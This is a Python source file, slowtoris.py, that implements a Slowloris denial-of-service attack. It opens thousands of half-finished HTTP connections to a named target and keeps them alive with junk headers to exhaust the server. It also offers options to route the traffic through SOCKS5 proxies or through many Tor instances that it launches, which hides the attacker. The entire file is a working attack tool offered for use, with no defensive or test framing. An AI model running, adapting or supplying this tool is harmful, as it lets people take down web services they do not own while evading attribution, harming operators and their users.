#!/usr/bin/env python3

'''
slowtoris.py - Slow Loris implementation in Python3 with support for Tor and SOCKS5 proxies.
'''

import click
import socket
import logging
import time
import socks
import subprocess
import threading
from random import randint, choice

TOR_SOCKS_PORT   = 9050
TOR_CONTROL_PORT = 8050

USER_AGENTS = [
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0"
]



class SlowToris:
    def __init__(self, target='localhost', port=80,
            sockets=10000, randomize=False,
            proxy_host=None, proxy_port=None):
        self.target = target
        self.port = port
        self.sockets = sockets
        self.randomize = randomize
        self.proxy_host = proxy_host
        self.proxy_port = proxy_port

    def init_connection(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(15)
        sock.connect((self.target, self.port))
        sock.send("GET /?{} HTTP/1.1\r\n".format(randint(0, 2000)).encode("utf-8"))
        if self.randomize:
            sock.send("User-Agent: {}\r\n".format(choice(USER_AGENTS)).encode("utf-8"))
        else:
            sock.send("User-Agent: {}\r\n".format(USER_AGENTS[0]).encode("utf-8"))
        sock.send("{}\r\n".format("Accept-Language: en-US,en,q=0.5").encode("utf-8"))
        return sock

    def attack(self):
        if self.proxy_host:
            try:
                socks.set_default_proxy(socks.SOCKS5, self.proxy_host, self.proxy_port)
                socket.socket = socks.socksocket
                logging.info("SOCKS5 proxy enabled on "+self.proxy_host+":"+str(self.proxy_port))
            except ImportError:
                logging.error("Socks proxy library not found...")

        socket_list = []

        logging.info("Target: %s \tSockets per instance: %s", self.target, self.sockets)
        logging.info("Creating sockets...")
        for i in range(self.sockets):
            try:
                logging.debug("Creating socket number %s", i)
                sock = self.init_connection()
            except socket.error:
                break
            socket_list.append(sock)

        while True:
            logging.info("Keeping connections alive... Socket count: %s", len(socket_list))
            for sock in list(socket_list):
                try:
                    sock.send("X-a: {}\r\n".format(randint(1, 5000)).encode("utf-8"))
                except socket.error:
                    socket_list.remove(sock)

            logging.debug("Recreating dead sockets...")
            for i in range(self.sockets - len(socket_list)):
                try:
                    sock = self.init_connection()
                    if sock:
                        socket_list.append(sock)
                except socket.error:
                    break

    def run(self):
        t1 = threading.Thread(target=self.attack)
        t1.start()

@click.command()
@click.option('--port', '-p', default=80, help="Port to attack on the remote target. Default is 80.")
@click.option('--sockets', '-s', default=10000, help="Number of sockets to open with the remote target.")
@click.option('--randomize', '-r', is_flag=True, help="Randomize user agents for every new socket.")
@click.option('--tor', '-t', is_flag=True, help="Open the connections through the Tor network. Jus to be safe you might want to run this as root if you are using Tor.")
@click.option('--tor_instances', '-T', default=13, help="Number of Tor instances to start in rder to route the traffic through different circuits (default is 13).")
@click.option('--proxy', '-x', help="Usage: -x proxy-host:proxy-port .Use a SOCKS5 proxy to communicate with the target.")
@click.option('--quiet', '-q', is_flag=True, help="Run the script in quiet mode removing all output.")
@click.argument('target')
def main(target, port, sockets, randomize, tor, tor_instances, proxy, quiet):
    """
    A Slow Loris attack implementation in Python3 with support for the Tor network and SOCKS5 proxies.\n
    You must have the click Python3 module which can be installed with pip:\n
        $ sudo pip3 install click\n
    You must have the socks Python3 module which can be installed through various packages by using pip, we suggest PySocks:\n
        $ sudo pip3 install PySocks\n
    You can view the usage of this script by running:\n 
        $ ./slowtoris.py --help\n
    If you wish to use the Tor network, tor must be installed.\n
    Installation:\n
        Ubuntu/Debian:  https://www.torproject.org/docs/debian.html.en\n
        Arch Linux:     # pacman -S tor\n
        Gentoo Linux:   # emerge --ask --verbose net-vpn/tor\n
        CentOS/Fedora:  # yum install tor\n
    """

    if not quiet:
        logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.DEBUG)
    else:
        logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.INFO)

    if tor:
        subprocess.run(['mkdir', '-pv', 'data/tor0'])
        subprocess.Popen(['tor', '--ControlPort', '8050' ,'--PidFile', 'tor0.pid', '--SocksPort', '9050', '--DataDirectory', 'data/tor0'], stdin=None, stdout=None, stderr=None)
        time.sleep(1)
        tmp = subprocess.check_output(['tor-resolve', '-p', '9050', target])
        target = tmp.decode('utf-8').strip('\n')
        tors = dict()
        tors[0] = SlowToris(target, port, sockets, randomize, '127.0.0.1', 9050)
        for i in range(1, tor_instances):
            control_port = str(TOR_CONTROL_PORT + i)
            socks_port = TOR_SOCKS_PORT + i
            subprocess.run(['mkdir', '-pv', 'data/tor'+str(i)])
            subprocess.Popen(['tor', '--ControlPort', control_port, '--PidFile', 'tor'+str(i)+'.pid', '--SocksPort', str(socks_port), '--DataDirectory', 'data/tor'+str(i)], stdin=None, stdout=None, stderr=None)
            tors[i] = SlowToris(target, port, sockets, randomize, '127.0.0.1', socks_port)
        for i in tors:
            tors[i].run()

    else:
        if proxy:
            proxy_host = proxy.split(':')[0]
            proxy_port = int(proxy.split(':')[1])

        else:
            proxy_host = None
            proxy_port = None

        
        slowtoris = SlowToris(target, port, sockets, randomize, proxy_host, proxy_port)
        slowtoris.attack()
    

if __name__ == '__main__':
    main()
